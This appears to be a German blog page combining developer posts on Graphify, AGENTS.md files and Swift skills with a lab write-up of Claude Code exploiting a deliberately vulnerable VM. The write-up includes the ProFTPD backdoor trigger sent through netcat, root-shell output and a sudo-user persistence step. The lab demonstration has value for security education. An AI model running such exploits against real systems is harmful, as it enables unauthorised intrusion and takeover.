Die neue Claude‑Desktop‑App erreicht jetzt auch Linux. Anthropic öffnet damit erstmals den Weg des beliebten Entwickler-KI-Assistenten für Ubuntu und Debian. Entwickler erhalten eine native Lösung ohne Bastelei, die in der Beta jedoch noch nicht alle Funktionen besitzt. Die Anwendung jedoch schon viele Bereiche ab. Chat, Cowork und Code stehen bereit. Dazu kommen parallele Sitzungen und […]
Da ist Coding mit KI frisch aus der Druckerei ausgeliefert, schon taucht ein neues Tool auf, das mehr Effizienz verspricht. Graphify erstellt einen sogenannten Knowledge Graph, also eine interne Datenbank über die Verknüpfungen zwischen Komponenten (Text, Code, Bilder, was auch immer) eines Projekts. In der Folge können KI-Tools wie Claude Code auf diese Datenbank zugreifen und sich damit rascher und vor allem Token-sparender im Projekt orientieren. Graphify funktioniert besonders gut für ungeordnete Verzeichnisse, in denen Sie PDFs, Screenshots etc. zu einem Thema ablegen, um diese Informationen später wieder zu nutzen.
Aktualisiert 10.5.2026, 23.6.2026, 3.7.2026
Installation
Graphify ist ein Python-Programm (Open Source, MIT-Lizenz), das Sie am besten mit uv tool install auf Ihrem Rechner einrichten. (uv ist ein moderner Python-Modulmanager, über den ich demnächst hier schreiben will.) Beachten Sie, dass der Paketname graphifyy mit Doppel-Y lautet, während das Kommando graphify heißt.
uv tool install graphifyy installiert das Programm. Sofern PATH das Verzeichnis .local/bin enthält, kann graphify anschließend sofort gestartet werden. graphify install richtet Skill-Dateien für die auf Ihrem Rechner gefundenen KI-Tools (in meinem Fall: Claude) ein.
$ uv tool install graphifyy
$ graphify install
skill installed -> /Users/kofler/.claude/skills/graphify/SKILL.md
CLAUDE.md -> created at /Users/kofler/.claude/CLAUDE.md
Done. Open your AI coding assistant and type:
/graphify .
Verwendung
Im Projektverzeichnis starten Sie nun das KI-Tool Ihrer Wahl (in meinem Fall: Claude Code). Dort steht Graphify jetzt als Skill zur Verfügung. Einfach
/graphify .
analysiert das Projektverzeichnis und erstellt nach vielen Rückfragen das Verzeichnis graphify_out. Das dauert geraume Zeit und verbrennt etliche Tokens. Das Verzeichnis enthält die folgenden Dateien:
ls -l graphify-out/
drwxr-xr-x 4 kofler staff 128 7 Mai 09:54 cache/
-rw-r--r-- 1 kofler staff 213 7 Mai 10:10 cost.json
-rw-r--r-- 1 kofler staff 8523 7 Mai 10:10 GRAPH_REPORT.md
-rw-r--r-- 1 kofler staff 139973 7 Mai 10:10 graph.html
-rw-r--r-- 1 kofler staff 137091 7 Mai 10:09 graph.json
-rw-r--r-- 1 kofler staff 7912 7 Mai 10:10 manifest.json
Ich habe meine Tests anhand einer Swift-App mit ca. 2000 Zeilen Code in diversen Dateien durchgeführt. Die Ergebnisse sehen eindrucksvoll aus, der unmittelbare Erkenntnisgewinn war aber — zumindest bei diesem Projekt — überschaubar.
Der anklickbare »Knowledge Graph«Kurzfassung der Projektzusammenhänge im Markdown-Format
Wenn Sie Änderungen in der Code-Basis oder in Ihren Dateien durchführen, aktualisieren Sie den Knowledge Graph:
/graphify . --update # merge changed content into existing graph
Der Knowledge Graph kann jetzt die Grundlage für Analysen mit /graphify explain oder graphiy query sein (Ausgabe etwas gekürzt):
/graphify explain "the sync process"
Here's what the graph tells us about the sync process, grounded in the
extracted edges:
The sync process is orchestrated by ShoppingViewModel.pullMergePushSave
(RestShopping.swift:125-175), which implements the Pull-Merge-Push lifecycle
documented in CLAUDE.md. The graph found 16 nodes directly connected to this
concept.
The three phases (all EXTRACTED edges):
1. Pull — apiPullItems (RestShopping.swift:62-93) fetches items from the
remote REST API since the last sync timestamp.
2. Merge — mergeItems (RestShopping.swift:178-193) resolves conflicts using
Timestamp-Wins: whichever version of an item has the newer updatedAt
wins. Two design rationale nodes connect here:
- Timestamp-Wins Conflict Resolution → mergeItems [EXTRACTED]
- Soft Delete Pattern → ShoppingItem [EXTRACTED] — items are never truly
removed; isDeleted = true propagates deletions to other devices through
the sync
3. Push — apiPushItems (RestShopping.swift:96-120) uploads the merged state
back to the server.
4. Persist — saveLocally (ViewModel.swift:172-178) writes the final state to
the local JSON file. mergeItems then calls replaceItem to update the
ViewModel's live state.
Wire format bridge: ItemDTO (RestShopping.swift:9-53) shares data with
ShoppingItem [EXTRACTED] — it translates between the app's model and the
API's integer-boolean/ISO 8601 wire format.
Trigger points: ContentView and StatusView both connect to pullMergePushSave
in the graph. ContentView runs it via .task, .onChange(scenePhase), and a
40-second timer. StatusView (in Settings) provides a manual
trigger. setupNewFamily and joinFamily also call pullMergePushSave as a final
step after family registration.
The most interesting angle here: the Soft Delete pattern is the load-bearing
coupling between ShoppingItem (the model) and the sync logic — if you ever
changed ShoppingItem to hard-delete, mergeItems would silently stop
propagating deletions. Want me to trace the path from ShoppingItem.isDeleted
through to what happens when a remote device pulls?
/graphify query "Where in code is the Category class used?
Could we drop the @Observable attribute?"
Here's what the graph found — and where its limits are:
Where Category is used (from the graph):
The BFS found 10 nodes. The confirmed connections [EXTRACTED]:
- Category → shares_data_with → ShoppingViewModel (ViewModel.swift:1-181) —
the ViewModel holds the categories: [Category] array
- Category.predefinedCategories (Category.swift:24-37) ↔ ShoppingViewModel —
the ViewModel calls this at init to populate its categories
- .predefinedCategories() → calls → Color — each category has a color
assigned
What the graph is missing: There are no direct edges from Category to the
view layer (CategoriesView, CategoryButton, EditItemView,
CategoryRadioButton). Those views access categories through vm.categories and
mutate category.isSelected/category.isExpanded directly — but the graph
didn't capture these view→Category property access edges since they go
through the ViewModel and aren't explicit call-site imports.
On dropping @Observable:
The graph can't answer this definitively — it would require the actual
property mutation sites. But from the CLAUDE.md rationale node captured in
the graph: "Mutable reference-type state (isSelected, isExpanded) is mutated
directly from views." That design decision is precisely why @Observable is
needed. Without it, those direct mutations on the reference type wouldn't
trigger SwiftUI view updates — CategoriesView and EditItemView would stop
reacting to category selection changes.
Verdict from the graph: @Observable cannot be safely dropped without a larger
refactor (e.g., moving isSelected/isExpanded into the ViewModel as @State or
@Published backing). The graph confirms the coupling exists; reading
Category.swift:4-112 directly would show exactly which properties are var vs
let.
Die Website preist den größten Vorteil von Graphify an, dass derartige Abfragen auf der Basis des lokalen Knowledge Graphs nun wesentlich weniger Token verbrauchen als wenn das KI-Tool mit find und grep die Codebasis durchsucht und (immer wieder neu) analysiert. Bei meinen Tests ließ sich das Ausmaß der Ersparnis schwer messen.
Persönliche Einschätzung
Die Idee von Graphify ist gut. Allerdings wirkt Graphify ein wenig wie ein Fremdkörper innerhalb von Claude Code. Nur /graphify-Kommandos berücksichtigen die Graph-Knowledge-Datenbank. Die Skill-Datei ist mit über 1000 Zeilen und einer Menge eingebetteten Code auch eher abschreckend.
Aus Coding-Perspektive wäre es wünschenswert, die Generierung, Aktualisierung und Auswertung der Knowledge-Datenbank direkt in Claude Code bzw. in andere KI-Tools zu integrieren. Damit könnte das in der Datenbank aggregierte Wissen bei allen Aktionen berücksichtigt werden, nicht nur bei /graphify-Kommandos.
Ganz generell stellt sich die Frage, ob und wie weit Graph Knowledge Databases das bekannte RAG-Konzept ablösen oder zumindest ergänzen kann (also Retrieval-Augmented Generation, um eigenes Wissen in Vektordatenbanken zu speichern und einem LLM zugänglich zu machen). Siehe z.B. diesen Artikel über einen ähnlichen Ansatz mit kommerziellen Hintergrund.
Alternativen
Headroom: Wenn es primär darum geht, den Kontext zu verkleinern und so Kosten zu sparen (idealerweise ohne Qualitätsverlust), hat das Projekt Headroom ein weiteres spannendes Konzept realisiert. Headroom agiert als eine Art Kompressor zwischen Ihren Prompts und dem KI-Tool/Sprachmodell. Allerdings wäre wohl auch in diesem Fall ein in das jeweilige CLI/KI-Tool integrierte Lösung noch besser.
CodeGraph: Auch CodeGraph erfasst die Codebasis vorweg und in der Folge bei allen Änderungen. Die Daten werden in einer SQLite-Datenbank als Graph gespeichert. Der wichtigste Unterschied besteht darin, dass die Verbindung zum KI-Tool über MCP erfolgt, was eine tiefere Integration erlaubt.
Vor zwei Jahren half »Prompt Engineering« zu besseren Ergebnissen bei KI-Tools. Heute ist der Weg ein anderer:
Die Datei AGENTS.md (für die meisten KI-Tools) bzw. CLAUDE.md (für Claude Code) im Projektverzeichnis fasst wichtige Projektinformationen und Coding-Anweisungen zusammen. IDEs wie Cursor bzw. CLIs wie Claude Code oder Codex berücksichtigen diese Datei bei jedem Session-Start automatisch. Damit bietet diese Datei eine großartige Möglichkeit, das Default-Verhalten von KI-Tools den eigenen Ansprüchen anzupassen. (AGENTS.md können CLAUDE.md auf verschiedenen Ebenen gespeichert werden, um z.B. allgemeine Coding-Anweisungen mit spezifischen Projektinformationen zu kombinieren.)
Skills ermöglichen es, Anweisungen für bestimmte Bearbeitungsschritte im Markdown-Format zu formulieren. Während AGENTS.mdimmer berücksichtigt wird, werden Skills nur bei Bedarf ausgewertet. Skills können auch Anweisungen für den Aufruf externer Tools beinhalten und ersetzen dann in manchen Fällen die MCP-Server-Konfiguration. (Auch Skills können wahlweise projektspezifisch oder auf globaler Ebene eingerichtet werden.)
Dieser Beitrag zeigt die Anwendung von AGENTS.md und Skills speziell für die Programmiersprache Swift — losgelöst davon, ob Sie in Xcode arbeiten oder eine externe CLI verwenden. Der Artikel hat einen leichten Claude-Fokus, weil ich mich persönlich in der Anthropic-Welt wohler fühle als in der von OpenAI. Qualitativ gibt es keine großen Unterschiede zwischen beiden Systemen, beide funktionieren mittlerweile herausragend gut.
Ich setze hier voraus, dass Sie grundlegende Erfahrung mit KI-Tools haben und zumindest ein CLI-Tool (ich empfehle Claude Code, aber auch Codex CLI, Gemini CLI, Copilot CLI usw.) ausprobiert haben.
AGENTS.md bzw. CLAUDE.md auf Projekt-Ebene
Wenn Sie in Xcode mit Claude Agent oder Codex arbeiten, sollte Ihr erster Prompt in einem neuen Projekt /init lauten. Der Claude Agent bzw. Codex analysiert dann Ihren Code und erzeugt die Datei CLAUDE.md bzw. AGENTS.md. (AGENTS.md ist ein generischer Name. Die Datei wird von den meisten KI-Tools berücksichtigt, absurderweise aber nicht von Anthropic-Tools, die auf CLAUDE.md bestehen.)
Die Datei wird im Projektverzeichnis gespeichert; sie ist im Projektnavigator unsichtbar, weil dieser eine Verzeichnisebene tiefer ansetzt. Im Regelfall lohnt es sich, diese Datei in einem Editor nachzubearbeiten und dort bei Bedarf eigene Coding-Anweisungen hinzuzufügen.
Beachten Sie, dass die Datei bei jeder Session in den Kontext gelesen wird. Halten Sie sich daher kurz!
Die von Claude Code ohne meine Mithilfe generierte Datei CLAUDE.md für das Cart-Beispielprogramm (Kapitel 25 in meinem Swift-Buch) sieht beispielsweise so aus:
# CLAUDE.md
This file provides guidance to Claude Code (claude.ai/code) when working with code in this repository.
## Build & Run
This is an Xcode project (`family-cart.xcodeproj`). Build and run through Xcode or use the `BuildProject` MCP tool. There are no tests, no linter, and no package dependencies.
## Architecture
**Family Cart** is a SwiftUI shopping list app that syncs across family members via a REST API. The codebase follows a strict three-layer structure reflected in the folder naming:
### 1_model
- **ShoppingItem** — Immutable `struct` (Codable, Identifiable). All mutations produce new copies via the `with(...)` helper. Persisted locally as JSON in the Documents directory (`shoppingItems.json`). The `[ShoppingItem].save()` extension handles local persistence.
- **Category** — `@Observable class` with 10 predefined grocery categories. Each has a `shortcut` string (e.g. `"bread"`, `"veg"`, `"dairy"`) used as the foreign key in ShoppingItem. Categories are not persisted — they are recreated from `predefinedCategories()` on every launch. `Color(hex:)` extension lives here.
...
## Key Patterns
- **No Combine**: The app uses `@Observable` (Observation framework) and Swift concurrency (async/await). Avoid introducing Combine.
- **Immutable model pattern**: `ShoppingItem` is a struct. Always use `with(...)` to create modified copies, then `replaceItem(_:with:)` on the view model. Never mutate items in place.
- **Single ViewModel**: All state flows through `ShoppingViewModel`. Views receive it as a parameter (not via `@Environment`).
- **Categories as constants**: The 10 categories and their shortcuts are hardcoded. Category images use custom assets with `-fill` suffix variants for selected state.
- **Localization**: Strings are localized via `Localizable.xcstrings` (English + German). Category names use `LocalizedStringKey`.
- **Soft delete**: Items are never removed from the array — `deleteItem()` sets `isDeleted = true` and title to `"deleted"`.
## REST API
Backend at `cart.kofler.info:443`. Authentication via HMAC-SHA256 tokens that rotate every 5 minutes. Key endpoints:
- `GET /version` — connectivity test
- `GET/PUT /items/{family_id}` — pull/push shopping items
- `PUT /newfamily`, `PUT /newmember` — family setup
- `GET /family/{code}`, `GET /members/{family_id}` — family lookup
AGENTS.md bzw. CLAUDE.md auf Xcode-Ebene
Während AGENTS.md bzw. CLAUDE.md im Projektverzeichnis eben nur für dieses Projekt gilt, können Sie die gleichnamige Datei auch in speziellen Xcode-Verzeichnissen speichern. Die dort formulierten Regeln gelten dann für alle Projekte in Xcode, in denen Sie den jeweiligen Agenten zu Hilfe nehmen.
Die aktuelle KI-Integration sieht die folgenden beiden Verzeichnisse zur Konfiguration von Claude Agent bzw. Codex vor (Quelle):
Die dort gespeicherten Dateien werden — parallel zu eventuell ebenfalls vorhandenen gleichnamigen Dateien auf Projektebene — automatisch berücksichtigt, sobald Xcode Codex oder Claude Agent startet.
Vorsicht! Das ClaudeAgentConfig-Verzeichnis gilt nicht, wenn Sie in Xcode Claude verwenden. Es wird nur von Claude Agent berücksichtigt. Diese verwirrende Differenzierung zwischen zwei fast gleichnamigen KI-Features hat mir anfangs eine Menge Zeit gekostet.
Systemweite AGENTS.md-Dateien sind also der ideale Ort, um Swift- bzw. Xcode-spezifische Anweisungen zu speichern, die nichts mit einem konkreten Projekt zu tun haben. Es ist empfehlenswert, den Coding-Agenten dort Hinweise zu geben, dass diese ausschließlich moderne Swift-Sprachmerkmale (z.B. Concurrency) und SwiftUI-Features nutzen sollen.
Warum ist das so wichtig? Sprachmodelle werden mit im Internet verfügbaren Informationen trainiert. Dort überwiegen aber veraltete Informationen, die sich auf ältere Swift/SwiftUI-Versionen beziehen. Deswegen ist der von KI-Sprachmodellen generierte Code oft sub-optimal. (Dass Apple den Coding-Agenten via MCP Zugriff auf die aktuelle Dokumentation gibt, hilft nicht viel. Die KI erkennt gar nicht die Notwendigkeit, dort nachzusehen.)
Es gibt im Internet mehrere Vorlagen für AGENTS.md/CLAUDE.md. Die beste stammt meiner Ansicht nach von Paul Hudson (Hacking with Swift):
Die Dateien .claude/CLAUDE.md bzw. .codex/AGENTS.md erfüllen die gleiche Funktion, aber auf Systemebene und losgelöst von Xcode. Dort durchgeführte Einstellungen gelten allerdings für ALLE Programmiersprachen. Insofern ist es keine gute Idee, hier Swift- oder Xcode-spezifische Anweisungen zu speichern.
Wenn die Dateien CLAUDE.md bzw. AGENTS.md auf mehreren Ebenen (System, Xcode, Projekt) existieren, werden alle Dateien berücksichtigt und kombiniert. Umso wichtiger ist es, die Dateien nicht unnötig aufzublähen.
Swift-spezifische Skills
Skills verfolgen die gleiche Idee wie AGENTS-Dateien, formulieren also Regeln im Markdown-Format. Aber während die AGENTS-Dateien immer berücksichtigt werden, werden Skills nur bei Bedarf ausgewertet. Beispielsweise kann ein Skill-Dateiset Refactoring-Regeln enthalten. Erst wenn Sie in einem Prompt explizit Refactoring erwähnen (manchmal müssen Sie ganz explizit auf den Skill hinweisen), werden die dort gespeicherten Zusatzregeln berücksichtigt. Skills können auch Anweisungen für den Aufruf externer Tools beinhalten. Das ist an dieser Stelle aber kein Thema.
In den letzten Monaten haben einige Blogger Skill-Sets für Swift und SwiftUI zusammengestellt (siehe die Links am Ende dieses Beitrags). Ich greife an dieser Stelle den besonders nützlichen Skill SwiftUI Pro heraus:
Dieser Skill ist dazu gedacht, um in vorhandenen SwiftUI-Projekten einen Code Review durchzuführen — wahlweise via Claude Code, Codex CLI oder Xcode. Das KI-Sprachmodell durchsucht den Code dann nach veraltetem Code und macht Verbesserungsvorschläge. Das funktioniert großartig!!
Ein konkretes Anwendungsbeispiel im Zusammenspiel mit Claude Code folgt gleich. Vorerst geht es aber um die Installation, bei der es mehrere Varianten gibt, je nachdem ob Sie den Skill in einer CLI (Claude Code, Codex CLI) oder direkt in Xcode nutzen möchten.
Beginnen wir mit der Installation für CLI-Tools: Dazu öffnen Sie ein Terminalfenster und wechseln in das Projektverzeichnis. (Das Installationskommando setzt Node.js voraus. Führen Sie gegebenenfalls vorher brew install node aus.)
cd my-swiftui-project
npx skills add https://github.com/twostraws/swiftui-agent-skill --skill swiftui-pro
Während der Installation werden Sie gefragt, welche KI-Tools/Agenten Sie verwenden (z.B. Antigravity, Claude Code, Codex, Cursor usw.). Das hat Einfluss auf den Installationsort. Viele KI-Tools berücksichtigen das Verzeichnis .agents/skills, aber manche Tools wollen ihr eigenes Verzeichnis (z.B. .agent/skills oder .claude/skills). Dort werden standardmäßig Links auf die Dateien in .agents eingerichtet.
Außerdem müssen Sie sich entscheiden, ob die Skills universell für alle Projekte gelten sollen (Installation relativ zum Home-Verzeichnis) oder nur für ein Projekt (Installation im Projekt-Verzeichnis). Vor allem wenn Sie auf Ihrem Rechner Projekte in verschiedenen Programmiersprachen entwickeln, ist die projektspezifische Installation sicherer.
Die Xcode-Installation ist leider etwas umständlicher. Ich gehe davon aus, dass Sie vorher eine CLI-Installation in ein Projektverzeichnis durchgeführt haben. Von dort kopieren Sie nun das gewünschte Skills-Unterverzeichnis in das passende Xcode-Verzeichnis:
# für Claude Code
mkdir -p ~/Library/Developer/Xcode/CodingAssistant/ClaudeAgentConfig/skills
cd my-swiftui-project
cp -a .claude/skills/swiftui-pro ~/Library/Developer/Xcode/CodingAssistant/ClaudeAgentConfig/skills
# für Codex
mkdir -p ~/Library/Developer/Xcode/CodingAssistant/codex/skills
cd my-swiftui-project
cp -a .agents/skills/swiftui-pro ~/Library/Developer/Xcode/CodingAssistant/codex/skills
Jetzt sollten Sie sich noch vergewissern, dass der neue Skill wirklich im KI-Agenten Ihrer Wahl innerhalb von Xcode verfügbar ist (hier für Claude Code).
Kontrolle der Installation eines Skills in das Xcode-Claude-Agent-Verzeichnis
Der Aufruf des Skills variiert je nach Coding-Agent:
Claude Agent:/swiftui-pro funktioniert nicht. (Dieses Claude-Code-Kommando klappt nur in der CLI.) Vielmehr müssen Sie in Xcode einen Prompt formulieren, der so ähnlich wie diese Anweisung aussieht: »Use the SwiftUI Pro skill to look for problems in this project.«
Codex:$swiftui-pro
Anwendungsbeispiel mit Claude Code
Im Folgenden gehe ich davon aus, dass Sie mit Claude Code arbeiten. Nach dem Start vergewissern Sie sich mit dem Kommando /skills, dass Claude die Skill-Regeln swiftui-pro kennt. Den Code Audit starten Sie nun mit /swiftui-pro (bzw. in Codex mit $swiftui-pro).
cd my-swiftui-project
claude
> /skills
...
> /swiftui-pro
...
Summary
1. Accessibility (high): Multiple icon-only buttons throughout
(PlanTabView:66, SettingsTabView:159, CategoriesView:23/37) are invisible
to VoiceOver. The CategoryHeader uses onTapGesture instead of Button, also
problematic for VoiceOver.
2. Deprecated API (high): foregroundColor() used in 6+ locations should be
foregroundStyle(). cornerRadius() used in 3 locations should be
clipShape(.rect(cornerRadius:)). tabItem() should be the modern Tab
API. .autocapitalization() should be .textInputAutocapitalization(). Style
struct instances (PlainButtonStyle(), etc.) should use static member
syntax.
3. Code organization (medium): Multiple type definitions per file throughout
the view layer (PlanTabView has 3 types, SettingsTabView has 3,
EditItemView has 3, CategoriesView has 2). Each should be in its own
file. The itemsForEach method returning some View should be a dedicated
View struct.
4. Data flow (medium): Category class is @Observable but missing
@MainActor. @State var vm in ShoppingTabView, PlanTabView, and
CategoriesView is not marked private.
5. Modern Swift (low): Use Date.now over Date(), URL.documentsDirectory over
FileManager lookups, !items.isEmpty over items.count > 0, modern ISO 8601
date parsing, and the Tab enum pattern for tab selection.
The review is complete above. Would you like me to fix any of these issues?
Alle Probleme auf einmal zu beheben ist keine gute Idee. Besser gehen Sie schrittweise vor und erstellen nach jedem Fix und dem nachfolgenden Test Ihrer App Xcode einen Commit.
> fix foregroundColor()
Done. Replaced all .foregroundColor() with .foregroundStyle() across 3 files:
- ContentView.swift - 4 occurrences (debug overlay text colors)
- PlanTabView.swift - 2 occurrences (toggle button labels)
- SettingsTabView.swift - 3 occurrences (error text, warning text, sync time indicator)
> ! git commit -a -m 'fixed foregroundColor -> foregroundStyle'
Start des Code ReviewsZusammenfassung der gefundenen ProblemeBehebung eines der festgestellten Probleme
Lesetipps
AGENT-Dateien und Skills bestehen aus Markdown-Dateien. Selbst wenn Sie keine KI-Tools verwenden wollen, lohnt sich die Lektüre dieser Regeldateien. Sie werden nirgendwo sonst so kompakte Regeln zur richtigen Swift/SwiftUI-Programmierung finden! Lesen Sie beispielsweise die Anweisungen zur richtigen Verwendung von Actors aus dem Concurrency-Skill von Paul Hudson.
Moderne KI-Tools zum Agentic Coding können nicht nur programmieren, sie können auch Kommandos ausführen — im einfachsten Fall mit grep in der Code-Basis nach einem Schlüsselwort suchen. Diese Funktionalität geht aber weiter als Sie vielleicht denken: Einen SSH-Account mit Key-Authentifizierung vorausgesetzt, kann das KI-Tool auch Kommandos auf externen Rechnern ausführen! Das gibt wiederum weitreichende Möglichkeiten, sei es zu Administration von Linux-Rechner, sei es zur Durchführung von Hacking- oder Penetration-Testing-Aufgaben. In diesem Beitrag illustriere ich anhand eines Beispiels das sich daraus ergebende Potenzial.
Entgegen landläufiger Meinung brauchen Sie zum Hacking per KI keinen MCP-Server! Ja, es gibt diverse MCP-Server, mit denen Sie bash- oder SSH-Kommandos ausführen bzw. Hacking-Tools steuern können, z.B. ssh-mcp, mcp-kali-server oder hexstrike-ai. Aber sofern Ihr KI-Tool sowieso Kommandos via SSH ausführen kann, bieten derartige MCP-Server wenig nennenswerte Vorteile.
Setup auf einem Fedora-Rechner mit zwei virtuellen Maschinen und lokaler Claude-Code-Installation
Setup
Als Ausgangspunkt für dieses Beispiel dient ein KI-Tool mit CLI (Command Line Interface), z.B. Claude Code, Codex CLI, Gemini CLI oder GitHub Copilot CLI. Ebenso geeignet sind Open-Source-Tools wie Aider oder Goose, die mit einem lokalen Sprachmodell verbunden werden können.
Ich habe für meine Tests Claude Code auf einem Linux-Rechner (Fedora) installiert. Claude Code erfordert ein Claude-Abo oder einen API-Zugang bei Anthropic.
Außerdem habe ich zwei virtuelle Maschinen eingerichtet (siehe den obigen Screenshot). Dort läuft einerseits Kali Linux (Hostname kali) und andererseits Basic Pentesting 1 (Hostname vtcsec). Basic Pentesting 1 ist ein in der Security-Ausbildung beliebtes System mit mehreren präparierten Sicherheitslücken.
Für das Netzworking habe ich der Einfachheit halber beide virtuellen Maschinen einer Bridge zugeordnet, so dass sich diese quasi im lokalen Netzwerk befinden. Sicherheitstechnisch für diese Art von Tests wäre es vernünftiger, Kali Linux zwei Netzwerkadapter zuzuweisen, einen für den Zugang zum Hostrechner (Fedora) und einen zweiten für ein internes Netzwerk. Das Target-System (hier Basic Pentesting 1) bekommt nur Zugang zum internen Netzwerk. Damit kann Kali Linux mit dem Target-System kommunizieren, aber es gibt keine Netzwerkverbindung zwischen dem Target-System und dem Host-Rechner oder dem lokalen Netzwerk.
In Kali Linux habe ich den Benutzer aiadmin eingerichtet. Dieser darf per sudo alle Kommandos ohne Passwort ausführen:
# in /etc/sudoers auf Kali Linux
aiadmin ALL=(ALL) NOPASSWD: ALL
Auf dem lokalen Rechner (Fedora) kümmert sich .ssh/config darum, dass aiadmin der Default-User für SSH-Verbindungen ist.
# Datei .ssh/config auf dem lokalen Rechner
Host kali
User aiadmin
Damit der SSH-Login bei Kali Linux ohne Passwort funktioniert, habe ich einen SSH-Key eingerichtet:
fedora$ ssh-copy-id aiadmin@kali
Sobald das funktioniert, habe ich den interaktiven Login für aiadmin gesperrt (Option -l wie lock).
kali$ sudo passwd -l aiadmin
Der privilegierte Benutzer aiadmin kann jetzt also NUR noch per SSH-Key-Login genutzt werden.
Alternatives Setup Bei diesem Setup gibt es eine logische Barriere zwischen unserem Arbeitsrechner mit diversen Entwickler- und KI-Tools und Kali Linux. Wenn Sie im Security-Umfeld arbeiten, ist es naheliegen, Claude Code oder ein anderes KI-Tool direkt in Kali Linux zu installieren und so den SSH-Umweg einzusparen.
Setup testen
Nun richten Sie ein leeres Projektverzeichnis ein, wechseln dorthin und starten claude. Die beiden ersten Prompts dienen dazu, Claude das Testumfeld zu erklären und dieses auszuprobieren.
> There is a Kali Linux installation with hostname kali.
Try to connect via SSH. (OK ...)
> Kali can connect to host vtcsec. This is a VM designated
for penetration testing. ping to it! (OK ...)
Erste Prompts um das Setup zu testen
AI Assisted Hacking
Im dritten Prompt geht es richtig los. Claude soll in Kali Linux einen Port Scan für das Pentesting-System durchführen. Dort findet es eine veraltete ProFTPD-Version mit einer bekannten Sicherheitslücke.
> Now do a proper port scan for vtcsec. Find out what
software is running.
(...) Here's what's running on vtcsec:
Port Service Version
21 FTP ProFTPD 1.3.3c
22 SSH OpenSSH 7.2p2 (Ubuntu)
80 HTTP Apache 2.4.18 (Ubuntu)
OS: Linux 3.x/4.x (Ubuntu), running as a QEMU VM.
Notable observations:
- ProFTPD 1.3.3c is a notably old version with
known vulnerabilities (including a backdoor in
certain distributions).
- OpenSSH 7.2p2 and Apache 2.4.18 are also outdated versions with known CVEs.
- Only 3 ports open, 997 closed — a fairly minimal attack surface.
Port-Scan durchführen
> Find exploits for ProFTPD.
(...) Here are the exploits found for ProFTPD 1.3.3:
Exploit
ProFTPd 1.3.2rc3 < 1.3.3b (FreeBSD) Telnet IAC Buffer Overflow
ProFTPd 1.3.2rc3 < 1.3.3b (Linux) - Telnet IAC Buffer Overflow
ProFTPd 1.3.3c - Compromised Source Backdoor
ProFTPd IAC 1.3.x - Remote Command Execution
ProFTPd 1.3.3c - Backdoor Command Execution (Metasploit)
The most relevant one is the backdoor in ProFTPD 1.3.3c -
this is the infamous incident where the ProFTPD source code
was compromised, and a backdoor was inserted. It allows remote
command execution by sending HELP ACIDBITCHEZ to the FTP service.
There's both a manual exploit and a Metasploit module available.
Want me to try the backdoor exploit against vtcsec?
Wir wollen nun die gefundene Backdoor nutzen. Der erste Exploit-Versuch scheitert, aber bereits im zweiten Versuch kann Claude die Backdoor in ProFTPD ausnutzen und erreicht root-Rechte.
> Yes, try it!
Bash(ssh kali "searchsploit -x linux/remote/15662.txt")
Exploit: ProFTPd 1.3.3c - Compromised Source Backdoor
Remote Code Execution
URL: https://www.exploit-db.com/exploits/15662
Path: /usr/share/exploitdb/exploits/linux/remote/15662.txt
Bash(ssh kali 'echo -e "HELP ACIDBITCHEZ\nid\nhostname
\nuname -a\nexit\n" | nc -w 5 vtcsec 21')
The simple netcat approach didn't return command output.
Let me try with a proper interactive approach using Metasploit
or a Python script.
Bash(ssh kali 'python3 -c " ..." ')
Banner: 220 ProFTPD 1.3.3c Server (vtcsec) [192.168.178.48]
Response: uid=0(root) gid=0(root) groups=0(root)...
Response: vtcsec
Response: Linux vtcsec 4.10.0-28-generic
The backdoor exploit worked. Here's what we got:
- Access level: uid=0(root) — full root access
- Hostname: vtcsec
- Kernel: Linux 4.10.0-28-generic (Ubuntu 16.04)
The HELP ACIDBITCHEZ backdoor in ProFTPD 1.3.3c gave an unauthenticated
remote root shell with zero effort — no credentials, no authentication,
just a single FTP command. Want me to explore the system further or move
on to testing the other services?
ProFTPD-Backdoor ausnutzen
Mit den nun erworbenen root-Rechten soll Claude einen neuen Benutzer mit sudo-Rechten einzurichten. Wiederum scheitert der erste Versuch, weil das Kommando sshpass auf Kali Linux nicht installiert ist. Claude lässt sich davon nicht beirren: Ohne weitere Rückfragen installiert es das fehlende Kommando, richtet den neuen Benutzer ein und verifiziert dessen Funktionsweise. Grandios!
Neuen Benutzer mit sudo-Rechten einrichten
Anmerkungen
Bemerkenswert an diesem Beispiel ist, dass ich Claude nie mitgeteilt habe, wie es vorgehen soll bzw. mit welchen Hacking-Tool es arbeiten soll. Claude hat selbstständig den Port-Scan mit nmap durchgeführt, mit metasploit nach einem Exploit gesucht und diesen angewendet.
Auch wenn das obige Beispiel einen erfolgreichen Einbruch skizziert, wird Hacking mit KI-Unterstützung nicht automatisch zum Kinderspiel. Hier habe ich die Richtung vorgegeben. Wenn Sie dem KI-Tool freie Hand lassen (Prompt: »Get me root access on vtcsec«), führt es den Portscan möglicherweise zuwenig gründlich durch und übersieht den ProFTPD-Server, der in diesem Fall beinahe eine Einladung zum Hacking darstellt. Stattdessen konzentriert sich das Tool darauf, SSH-Logins zu erraten oder Fehler in der Konfiguration des Webservers zu suchen. Das sind zeitaufwändige Prozesse mit nur mäßiger Erfolgswahrscheinlichkeit.
Die Steuerung von Hacking-Tools via SSH stößt an ihre Grenzen, wenn es um die interaktive Bedienung von CLI-Tools oder um die Steuerung grafischer Benutzeroberflächen bzw. Web-Tools geht (z.B. Burp Suite, Empire Framework oder OpenVAS).
Fakt bleibt, dass die KI-Unterstützung den Zeitaufwand für Penetration Tester erheblich senken kann — z.B. wenn es darum geht, mehrere Server gleichzeitig zu überprüfen. Umgekehrt macht die KI das Hacking für sogenannte »Script Kiddies« leichter denn je. Das ist keine erfreuliche Perspektive …